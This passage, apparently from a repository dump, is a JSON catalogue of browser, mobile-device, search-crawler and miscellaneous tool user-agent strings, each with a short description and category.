en-us) AppleWebKit\\/528.18 (KHTML, like Gecko) Version\\/4.0 Mobile\\/7A341 Safari\\/528.16\"},{\"description\":\"iOS 3.2 - iPad - Safari 531\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B334b Safari\\/531.21.10\"},{\"description\":\"iOS 4_2_1 - iPad - Safari 533\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"description\":\"iOS 4_2_1 - iPhone - Safari 533.17.9\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"description\":\"iOS 4_3 - iPhone - Safari 533.17.9\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; de-de) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Mobile\\/8F190\"},{\"description\":\"CFNetwork - iPhone - MobileSafari 600.1.4\",\"kind\":\"Mobile Devices\",\"ua\":\"MobileSafari\\/600.1.4 CFNetwork\\/711.1.12 Darwin\\/14.0.0\"},{\"description\":\"iOS 5_1_1 - iPhone - Chrome (crios) 19.0.1084.60\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 5_1_1 like Mac OS X; da-dk) AppleWebKit\\/534.46.0 (KHTML, like Gecko) CriOS\\/19.0.1084.60 Mobile\\/9B206 Safari\\/7534.48.3\"},{\"description\":\"iOS 9_2 - iPhone - Safari 9.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13C75 Safari\\/601.1\"},{\"description\":\"iOS 11_0 - iPhone -  Safari 11\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5362a Safari\\/604.1\"},{\"description\":\"Linux - Fennec 2.0.1 (686 on x86_64)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1 Fennec\\/2.0.1\"},{\"description\":\"Maemo - Fennec 2.0.1 (arm)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Maemo; Linux armv7l; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1 Fennec\\/2.0.1\"},{\"description\":\"Palm WebOS 1.3 - Safari 525\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (webOS\\/1.3; U; en-US) AppleWebKit\\/525.27.1 (KHTML, like Gecko) Version\\/1.0 Safari\\/525.27.1 Desktop\\/1.0\"},{\"description\":\"PalmSource hspr-H102 - Palm Treo 650\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource\\/hspr-H102; Blazer\\/4.0) 16;320x320\"},{\"description\":\"Symbian 3 - N8 - Safari 525\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Symbian\\/3; Series60\\/5.2 NokiaN8-00\\/014.002; Profile\\/MIDP-2.1 Configuration\\/CLDC-1.1; en-us) AppleWebKit\\/525 (KHTML, like Gecko) Version\\/3.0 BrowserNG\\/7.2.6.4 3gpp-gba\"},{\"description\":\"Symbian 3 - Nokia X7 - Safari 533.4\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Symbian\\/3; Series60\\/5.2 NokiaX7-00\\/021.004; Profile\\/MIDP-2.1 Configuration\\/CLDC-1.1 ) AppleWebKit\\/533.4 (KHTML, like Gecko) NokiaBrowser\\/7.3.1.21 Mobile Safari\\/533.4 3gpp-gba\"},{\"description\":\"SymbianOS 9.2 - Nokia E90 - Safari\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (SymbianOS\\/9.2; U; Series60\\/3.1 NokiaE90-1\\/07.24.0.3; Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 ) AppleWebKit\\/413 (KHTML, like Gecko) Safari\\/413 UP.Link\\/6.2.3.18.0\"},{\"description\":\"SymbianOS 9.4 - Nokia N97 - WicKed 7.1.12344\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (SymbianOS 9.4; Series60\\/5.0 NokiaN97-1\\/10.0.012; Profile\\/MIDP-2.1 Configuration\\/CLDC-1.1; en-us) AppleWebKit\\/525 (KHTML, like Gecko) WicKed\\/7.1.12344\"},{\"description\":\"SymbOS - Opera 10.00 Mobi\",\"kind\":\"Mobile Devices\",\"ua\":\"Opera\\/9.80 (S60; SymbOS; Opera Mobi\\/499; U; ru) Presto\\/2.4.18 Version\\/10.00\"},{\"description\":\"Windows CE - ZuneHD 4.3 - IEMobile 6.12\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.12; Microsoft ZuneHD 4.3)\"},{\"description\":\"Windows CE - MSIE 6 - IEMobile 7.11\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)\"},{\"description\":\"Windows CE 5.2 - Sprint (HTC Titan) - IEMobile 7.11 (MSIE 6.0)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) Sprint:PPC6800\"},{\"description\":\"Windows CE - MSIE 6 - IEMobile 8.12\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 8.12; MSIEMobile6.0)\"},{\"description\":\"WP 7.0 - Asus Galaxy - IEMobile 7.0 (MSIE 7.0)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident\\/3.1; IEMobile\\/7.0) Asus;Galaxy6\"},{\"description\":\"WP 7 - MSIE 7 - IEMobile 7.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident\\/3.1; IEMobile\\/7.0)\"},{\"description\":\"WP 7.5 - IEMobile 9.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident\\/5.0; IEMobile\\/9.0)\"},{\"description\":\"WP 8.0 - ARM - IEMobile 10.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident\\/6.0; IEMobile\\/10.0; ARM; Touch)\"},{\"description\":\"WP 8.0 - Nokia Lumia 620 ARM - IEMobile 10.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident\\/6.0; IEMobile\\/10.0; ARM; Touch; NOKIA; Lumia 920)\"},{\"description\":\"WP 8.1 - Lumia 530 ARM - IEMobile 11.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Windows Phone 8.1; ARM; Trident\\/7.0; Touch; rv:11.0; IEMobile\\/11.0; NOKIA; Lumia 530) like Gecko\"},{\"description\":\"WP 8.0 - Lumia 620 ARM - IEMobile 10.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident\\/6.0; IEMobile\\/10.0; ARM; Touch; NOKIA; Lumia 920)\"},{\"description\":\"WP 8.1 - Lumia 630 ARM - IEMobile 11.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Windows Phone 8.1; ARM; Trident\\/7.0; Touch; rv:11.0; IEMobile\\/11.0; NOKIA; Lumia 630) like Gecko\"},{\"description\":\"NT 6.2 (odd id) - Lumia 635 ARM - IEMobile 11.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 635) like Gecko\"},{\"description\":\"NT 6.2 (odd id) - Lumia 920 ARM - IEMobile 11.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 920) like Geckoo\"},{\"description\":\"WP 8.1 - Lumia 920 ARM - IEMobile 11.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Windows Phone 8.1; ARM; Trident\\/7.0; Touch; rv:11.0; IEMobile\\/11.0; NOKIA; Lumia 920) like Gecko\"},{\"description\":\"WP 8.1 - Lumia 929 ARM - IEMobile 11.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident\\/7.0; Touch; rv:11.0; IEMobile\\/11.0; NOKIA; Lumia 929) like iPhone OS 7_0_3 Mac OS X AppleWebKit\\/537 (KHTML, like Gecko) Mobile Safari\\/537\"},{\"description\":\"WP 10.0 - webkit 537.36 - Edge 12.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.71 Mobile Safari\\/537.36 Edge\\/12.0\"},{\"description\":\"WP 10.0 - webkit 537.36 - Edge 14.14\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; ARM; Lumia 950 Dual SIM) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.79 Safari\\/537.36 Edge\\/14.14393\"},{\"description\":\"DoCoMo 2.0\",\"kind\":\"Mobile Devices\",\"ua\":\"DoCoMo\\/2.0 SH901iC(c100;TB;W24H12)\"},{\"description\":\"Novarra-Vision 6.9\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko\\/20060909 Firefox\\/1.5.0.7 MG(Novarra-Vision\\/6.9)\"},{\"description\":\"ReqwirelessWeb 3.5\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; j2me) ReqwirelessWeb\\/3.5\"},{\"description\":\"Vodafone 1.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Vodafone\\/1.0\\/V802SE\\/SEJ001 Browser\\/SEMC-Browser\\/4.1\"},{\"description\":\"BlackBerry (Google WAP)\",\"kind\":\"Mobile Devices\",\"ua\":\"BlackBerry7520\\/4.0.0 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 UP.Browser\\/5.0.3.3 UP.Link\\/5.1.2.12 (Google WAP Proxy\\/1.0)\"},{\"description\":\"Nokia (6100) WAP\",\"kind\":\"Mobile Devices\",\"ua\":\"Nokia6100\\/1.0 (04.01) Profile\\/MIDP-1.0 Configuration\\/CLDC-1.0\"},{\"description\":\"Nokia 6630\",\"kind\":\"Mobile Devices\",\"ua\":\"Nokia6630\\/1.0 (2.3.129) SymbianOS\\/8.0 Series60\\/2.6 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"Ask Jeeves\\/Teoma\",\"kind\":\"Spiders - Search\",\"ua\":\"Mozilla\\/2.0 (compatible; Ask Jeeves\\/Teoma)\"},{\"description\":\"Baiduspider\",\"kind\":\"Spiders - Search\",\"ua\":\"Baiduspider ( http:\\/\\/www.baidu.com\\/search\\/spider.htm)\"},{\"description\":\"BingBot 2.0 (renamed Msnbot)\",\"kind\":\"Spiders - Search\",\"ua\":\"Mozilla\\/5.0 (compatible; bingbot\\/2.0  http:\\/\\/www.bing.com\\/bingbot.htm)\"},{\"description\":\"Exabot 3.0\",\"kind\":\"Spiders - Search\",\"ua\":\"Mozilla\\/5.0 (compatible; Exabot\\/3.0;  http:\\/\\/www.exabot.com\\/go\\/robot)\"},{\"description\":\"FAST-WebCrawler 3.8\",\"kind\":\"Spiders - Search\",\"ua\":\"FAST-WebCrawler\\/3.8 (crawler at trd dot overture dot com; http:\\/\\/www.alltheweb.com\\/help\\/webmaster\\/crawler)\"},{\"description\":\"Google AdsBot 1.0\",\"kind\":\"Spiders - Search\",\"ua\":\"AdsBot-Google ( http:\\/\\/www.google.com\\/adsbot.html)\"},{\"description\":\"Googlebot 2.1 (New version)\",\"kind\":\"Spiders - Search\",\"ua\":\"Mozilla\\/5.0 (compatible; Googlebot\\/2.1;  http:\\/\\/www.google.com\\/bot.html)\"},{\"description\":\"Googlebot 2.1 (Older Version)\",\"kind\":\"Spiders - Search\",\"ua\":\"Googlebot\\/2.1 ( http:\\/\\/www.googlebot.com\\/bot.html)\"},{\"description\":\"Googlebot-Image 1.0\",\"kind\":\"Spiders - Search\",\"ua\":\"Googlebot-Image\\/1.0\"},{\"description\":\"Googlebot MediaPartners\",\"kind\":\"Spiders - Search\",\"ua\":\"Mediapartners-Google\"},{\"description\":\"Googlebot-Mobile 2.1 (ID: DoCoMo\\/2.0)\",\"kind\":\"Spiders - Search\",\"ua\":\"DoCoMo\\/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile\\/2.1;  http:\\/\\/www.google.com\\/bot.html)\"},{\"description\":\"Googlebot-Mobile 2.1 (ID: iPhone)\",\"kind\":\"Spiders - Search\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS) (compatible; Googlebot-Mobile\\/2.1;  http:\\/\\/www.google.com\\/bot.html)\"},{\"description\":\"Googlebot-Mobile 2.1 (ID: SAMSUNG-SGH-E250)\",\"kind\":\"Spiders - Search\",\"ua\":\"SAMSUNG-SGH-E250\\/1.0 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1 UP.Browser\\/6.2.3.3.c.1.101 (GUI) MMP\\/2.0 (compatible; Googlebot-Mobile\\/2.1;  http:\\/\\/www.google.com\\/bot.html)\"},{\"description\":\"Googlebot-News\",\"kind\":\"Spiders - Search\",\"ua\":\"Googlebot-News\"},{\"description\":\"Googlebot-Video\",\"kind\":\"Spiders - Search\",\"ua\":\"Googlebot-Video\\/1.0\"},{\"description\":\"Google Toolbar 4.0 (XP - MSIE 6)\",\"kind\":\"Spiders - Search\",\"ua\":\"Mozilla\\/4.0 (compatible; GoogleToolbar 4.0.1019.5266-big; Windows XP 5.1; MSIE 6.0.2900.2180)\"},{\"description\":\"Google Web Preview\",\"kind\":\"Spiders - Search\",\"ua\":\"Mozilla\\/5.0 (en-us) AppleWebKit\\/525.13 (KHTML, like Gecko; Google Web Preview) Version\\/3.1 Safari\\/525.13\"},{\"description\":\"Msnbot 1.0 (current version)\",\"kind\":\"Spiders - Search\",\"ua\":\"msnbot\\/1.0 ( http:\\/\\/search.msn.com\\/msnbot.htm)\"},{\"description\":\"Msnbot 1.1\",\"kind\":\"Spiders - Search\",\"ua\":\"msnbot\\/1.1 ( http:\\/\\/search.msn.com\\/msnbot.htm)\"},{\"description\":\"Msnbot 0.11 (beta version)\",\"kind\":\"Spiders - Search\",\"ua\":\"msnbot\\/0.11 ( http:\\/\\/search.msn.com\\/msnbot.htm)\"},{\"description\":\"Msnbot-Media 1.1\",\"kind\":\"Spiders - Search\",\"ua\":\"msnbot-media\\/1.1 ( http:\\/\\/search.msn.com\\/msnbot.htm)\"},{\"description\":\"Yahoo Slurp\",\"kind\":\"Spiders - Search\",\"ua\":\"Mozilla\\/5.0 (compatible; Yahoo! Slurp; http:\\/\\/help.yahoo.com\\/help\\/us\\/ysearch\\/slurp)\"},{\"description\":\"Yahoo Slurp China\",\"kind\":\"Spiders - Search\",\"ua\":\"Mozilla\\/5.0 (compatible; Yahoo! Slurp China; http:\\/\\/misc.yahoo.com.cn\\/help.html)\"},{\"description\":\"Yandex 3.0\",\"kind\":\"Spiders - Search\",\"ua\":\"Mozilla\\/5.0 (compatible; YandexBot\\/3.0; +http:\\/\\/yandex.com\\/bots)\"},{\"description\":\"YandexNews 4.0\",\"kind\":\"Spiders - Search\",\"ua\":\"Mozilla\\/5.0 (compatible; YandexNews\\/4.0; +http:\\/\\/yandex.com\\/bots)\"},{\"description\":\"Archive.org\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (compatible; archive.org_bot +http:\\/\\/www.archive.org\\/details\\/archive.org_bot)\"},{\"description\":\"Archive.org Wayback Machine Live\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (compatible; archive.org_bot; Wayback Machine Live Record; +http:\\/\\/archive.org\\/details\\/archive.org_bot)\"},{\"description\":\"Alexa site audit\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (compatible; alexa site audit\\/1.0; +http:\\/\\/www.alexa.com\\/help\\/webmasters; )\"},{\"description\":\"Email Wolf\",\"kind\":\"Miscellaneous\",\"ua\":\"EmailWolf 1.00\"},{\"description\":\"Facebookexternalhit 1.1 (short version)\",\"kind\":\"Miscellaneous\",\"ua\":\"facebookexternalhit\\/1.1\"},{\"description\":\"Facebookexternalhit 1.1\",\"kind\":\"Miscellaneous\",\"ua\":\"facebookexternalhit\\/1.1 (+http:\\/\\/www.facebook.com\\/externalhit_uatext.php)\"},{\"description\":\"Facebot\",\"kind\":\"Miscellaneous\",\"ua\":\"Facebot\"},{\"description\":\"Gaisbot 3.0\",\"kind\":\"Miscellaneous\",\"ua\":\"Gaisbot\\/3.0 (robot@gais.cs.ccu.edu.tw; http:\\/\\/gais.cs.ccu.edu.tw\\/robot.php)\"},{\"description\":\"Grub-Client\",\"kind\":\"Miscellaneous\",\"ua\":\"grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http:\\/\\/grub.org)\"},{\"description\":\"gulperbot\",\"kind\":\"Miscellaneous\",\"ua\":\"Gulper Web Bot 0.2.4 (www.ecsl.cs.sunysb.edu\\/~maxim\\/cgi-bin\\/Link\\/GulperBot)\"},{\"description\":\"Screaming Frog SEO Spider 8.1\",\"kind\":\"Miscellaneous\",\"ua\":\"Screaming Frog SEO Spider\\/8.1\"},{\"description\":\"TurnitinBot\",\"kind\":\"Miscellaneous\",\"ua\":\"TurnitinBot (https:\\/\\/turnitin.com\\/robot\\/crawlerinfo.html)\"},{\"description\":\"Twitterbot 1.0\",\"kind\":\"Miscellaneous\",\"ua\":\"Twitterbot\\/1.0\"},{\"description\":\"Xenu Link Sleuth 1.3.8\",\"kind\":\"Miscellaneous\",\"ua\":\"Xenu Link Sleuth\\/1.3.8\"},{\"description\":\"Net Positive 2.1\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/3.0 (compatible; NetPositive\\/2.1.1; BeOS)\"},{\"description\":\"SeaMonkey 1.5a\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko\\/20060702 SeaMonkey\\/1.5a\"},{\"description\":\"Arora 0.11.0\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (OS\\/2; U; OS\\/2; en-US) AppleWebKit\\/533.3 (KHTML, like Gecko) Arora\\/0.11.0 Safari\\/533.3\"},{\"description\":\"Firefox 10.0.12 - OS\\/2 Warp 4.5\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (OS\\/2; Warp 4.5; rv:10.0.12) Gecko\\/20100101 Firefox\\/10.0.12\"},{\"description\":\"Firefox 24.0 - OS\\/2 Warp 4.5\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (OS\\/2; Warp 4.5; rv:24.0) Gecko\\/20100101 Firefox\\/24.0\"},{\"description\":\"Firefox 31.0 - OS\\/2 Warp 4.5\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (OS\\/2; Warp 4.5; rv:31.0) Gecko\\/20100101 Firefox\\/31.0\"},{\"description\":\"Firefox 38.0 - OS\\/2 Warp 4.5\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (OS\\/2; Warp 4.5; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"description\":\"Firefox 45.0 - OS\\/2 Warp 4.5\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (OS\\/2; Warp 4.5; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"description\":\"QupZilla 1.3.1\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (OS\\/2; U; OS\\/2; en-US) AppleWebKit\\/533.3 (KHTML, like Gecko) QupZilla\\/1.3.1 Safari\\/533.3\"},{\"description\":\"SeaMonkey 2.7.2  - OS\\/2 Warp 4.5\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (OS\\/2; Warp 4.5; rv:10.0.12) Gecko\\/20130108 Firefox\\/10.0.12 SeaMonkey\\/2.7.2\"},{\"description\":\"SeaMonkey 2.21 - OS\\/2 Warp 4.5\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (OS\\/2; Warp 4.5; rv:24.0) Gecko\\/20100101 Firefox\\/24.0 SeaMonkey\\/2.21\"},{\"description\":\"SeaMonkey 2.28 - OS\\/2 Warp 4.5\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (OS\\/2; Warp 4.5; rv:31.0) Gecko\\/20100101 Firefox\\/31.0 SeaMonkey\\/2.28\"},{\"description\":\"SeaMonkey 2.35 - OS\\/2 Warp 4.5\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (OS\\/2; Warp 4.5; rv:38.0) Gecko\\/20100101 Firefox\\/38.0 SeaMonkey\\/2.35\"},{\"description\":\"SeaMonkey 2.42 - OS\\/2 Warp 4.5\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (OS\\/2; Warp 4.5; rv:45.0) Gecko\\/20100101 Firefox\\/45.0 SeaMonkey\\/2.42.9esr\"},{\"description\":\"Adobe Application Manager 2.0\",\"kind\":\"Miscellaneous\",\"ua\":\"Adobe Application Manager 2.0\"},{\"description\":\"Android (5.1) Download Manager\",\"kind\":\"Miscellaneous\",\"ua\":\"AndroidDownloadManager\\/5.1 (Linux; U; Android 5.1; Z820 Build\\/LMY47D)\"},{\"description\":\"Download Demon\",\"kind\":\"Miscellaneous\",\"ua\":\"Download Demon\\/3.5.0.11\"},{\"description\":\"Offline Explorer 2.5\",\"kind\":\"Miscellaneous\",\"ua\":\"Offline Explorer\\/2.5\"},{\"description\":\"SuperBot 4.4.0 (Win XP)\",\"kind\":\"Miscellaneous\",\"ua\":\"SuperBot\\/4.4.0.60 (Windows XP)\"},{\"description\":\"WebCopier v4.6\",\"kind\":\"Miscellaneous\",\"ua\":\"WebCopier v4.6\"},{\"description\":\"Web Downloader 6.9\",\"kind\":\"Miscellaneous\",\"ua\":\"Web Downloader\\/6.9\"},{\"description\":\"WebZIP 3.5\",\"kind\":\"Miscellaneous\",\"ua\":\"WebZIP\\/3.5 (http:\\/\\/www.spidersoft.com)\"},{\"description\":\"Wget 1.9 (Redhat)\",\"kind\":\"Miscellaneous\",\"ua\":\"Wget\\/1.9 cvs-stable (Red Hat modified)\"},{\"description\":\"Wget 1.9.1\",\"kind\":\"Miscellaneous\",\"ua\":\"Wget\\/1.9.1\"},{\"description\":\"Wget 1.12 (FreeBSD)\",\"kind\":\"Miscellaneous\",\"ua\":\"Wget\\/1.12 (freebsd8.1)\"},{\"description\":\"Bloglines 3.1\",\"kind\":\"Miscellaneous\",\"ua\":\"Bloglines\\/3.1 (http:\\/\\/www.bloglines.com)\"},{\"description\":\"everyfeed spider 2.0\",\"kind\":\"Miscellaneous\",\"ua\":\"everyfeed-spider\\/2.0 (http:\\/\\/www.everyfeed.com)\"},{\"description\":\"Google Feed Fetcher\",\"kind\":\"Miscellaneous\",\"ua\":\"FeedFetcher-Google; ( http:\\/\\/www.google.com\\/feedfetcher.html)\"},{\"description\":\"Gregarius 0.5.2\",\"kind\":\"Miscellaneous\",\"ua\":\"Gregarius\\/0.5.2 ( http:\\/\\/devlog.gregarius.net\\/docs\\/ua)\"},{\"description\":\"Playstation 3 (2.00)\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (PLAYSTATION 3; 2.00)\"},{\"description\":\"Playstation 3 (1.10)\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (PLAYSTATION 3; 1.10)\"},{\"description\":\"PSP (2.00)\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/4.0 (PSP (PlayStation Portable); 2.00)\"},{\"description\":\"Wii 2.0.4.7-7\",\"kind\":\"Miscellaneous\",\"ua\":\"Opera\\/9.30 (Nintendo Wii; U; ; 2047-7; en)\"},{\"description\":\"Wii libnup (1.00)\",\"kind\":\"Miscellaneous\",\"ua\":\"wii libnup\\/1.0\"},{\"description\":\"Java 1.6.0_13\",\"kind\":\"Miscellaneous\",\"ua\":\"Java\\/1.6.0_13\"},{\"description\":\"libwww-perl 5.820\",\"kind\":\"Miscellaneous\",\"ua\":\"libwww-perl\\/5.820\"},{\"description\":\"Peach 1.01\",\"kind\":\"Miscellaneous\",\"ua\":\"Peach\\/1.01 (Ubuntu 8.04 LTS; U; en)\"},{\"description\":\"Python-urllib 2.5\",\"kind\":\"Miscellaneous\",\"ua\":\"Python-urllib\\/2.5\"},{\"description\":\"HTMLParser (1.60)\",\"kind\":\"Miscellaneous\",\"ua\":\"HTMLParser\\/1.6\"},{\"description\":\"W3C CSS Validator\",\"kind\":\"Miscellaneous\",\"ua\":\"Jigsaw\\/2.2.5 W3C_CSS_Validator_JFouffa\\/2.0\"},{\"description\":\"W3C (X)HTML Validator (1.654)\",\"kind\":\"Miscellaneous\",\"ua\":\"W3C_Validator\\/1.654\"},{\"description\":\"W3C (X)HTML Validator (1.305.2.12)\",\"kind\":\"Miscellaneous\",\"ua\":\"W3C_Validator\\/1.305.2.12 libwww-perl\\/5.64\"},{\"description\":\"W3C P3P Validator\",\"kind\":\"Miscellaneous\",\"ua\":\"P3P Validator\"},{\"description\":\"WDG CSS Validator (1.2.2)\",\"kind\":\"Miscellaneous\",\"ua\":\"CSSCheck\\/1.2.2\"},{\"description\":\"WDG (X)HTML Validator (1.6.2)\",\"kind\":\"Miscellaneous\",\"ua\":\"WDG_Validator\\/1.6.2\"},{\"description\":\"Facebook Scraper 1.0\",\"kind\":\"Miscellaneous\",\"ua\":\"facebookscraper\\/1.0( http:\\/\\/www.facebook.com\\/sharescraper_help.php)\"},{\"description\":\"Grub-Client\",\"kind\":\"Miscellaneous\",\"ua\":\"grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http:\\/\\/grub.org)\"},{\"description\":\"iTunes 4.2 (OS X 10.2 PPC)\",\"kind\":\"Miscellaneous\",\"ua\":\"iTunes\\/4.2 (Macintosh; U; PPC Mac OS X 10.2)\"},{\"description\":\"MS URL Control\",\"kind\":\"Miscellaneous\",\"ua\":\"Microsoft URL Control - 6.00.8862\"},{\"description\":\"Roku DVP-4.1\",\"kind\":\"Miscellaneous\",\"ua\":\"Roku\\/DVP-4.1 (024.01E01250A)\"},{\"description\":\"Smart TV - Chrome 25 - Linux armv71\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (SMART-TV; X11; Linux armv7l) AppleWebkit\\/537.42 (KHTML, like Gecko) Chromium\\/25.0.1349.2 Chrome\\/25.0.1349.2 Safari\\/537.42\"},{\"description\":\"winHTTP\",\"kind\":\"Miscellaneous\",\"ua\":\"SearchExpress\"},{\"description\":\"Facebook Scraper 1.0\",\"kind\":\"Miscellaneous\",\"ua\":\"facebookscraper\\/1.0( http:\\/\\/www.facebook.com\\/sharescraper_help.php)\"},{\"description\":\"Grub-Client\",\"kind\":\"Miscellaneous\",\"ua\":\"grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http:\\/\\/grub.org)\"},{\"description\":\"iTunes 4.2 (OS X 10.2 PPC)\",\"kind\":\"Miscellaneous\",\"ua\":\"iTunes\\/4.2 (Macintosh; U; PPC Mac OS X 10.2)\"},{\"description\":\"MS URL Control\",\"kind\":\"Miscellaneous\",\"ua\":\"Microsoft URL Control - 6.00.8862\"},{\"description\":\"Roku DVP-4.1\",\"kind\":\"Miscellaneous\",\"ua\":\"Roku\\/DVP-4.1 (024.01E01250A)\"},{\"description\":\"Smart TV - Chrome 25 - Linux armv71\",\"kind\":\"Miscellaneous\",\"ua\":\"Mozilla\\/5.0 (SMART-TV; X11; Linux armv7l) AppleWebkit\\/537.42 (KHTML, like Gecko) Chromium\\/25.0.1349.2 Chrome\\/25.0.1349.2 Safari\\/537.42\"},{\"description\":\"winHTTP\",\"kind\":\"Miscellaneous\",\"ua\":\"SearchExpress\"}]"
  },
  {
    "path": "User Agents/json/ua_org_allagents.json",
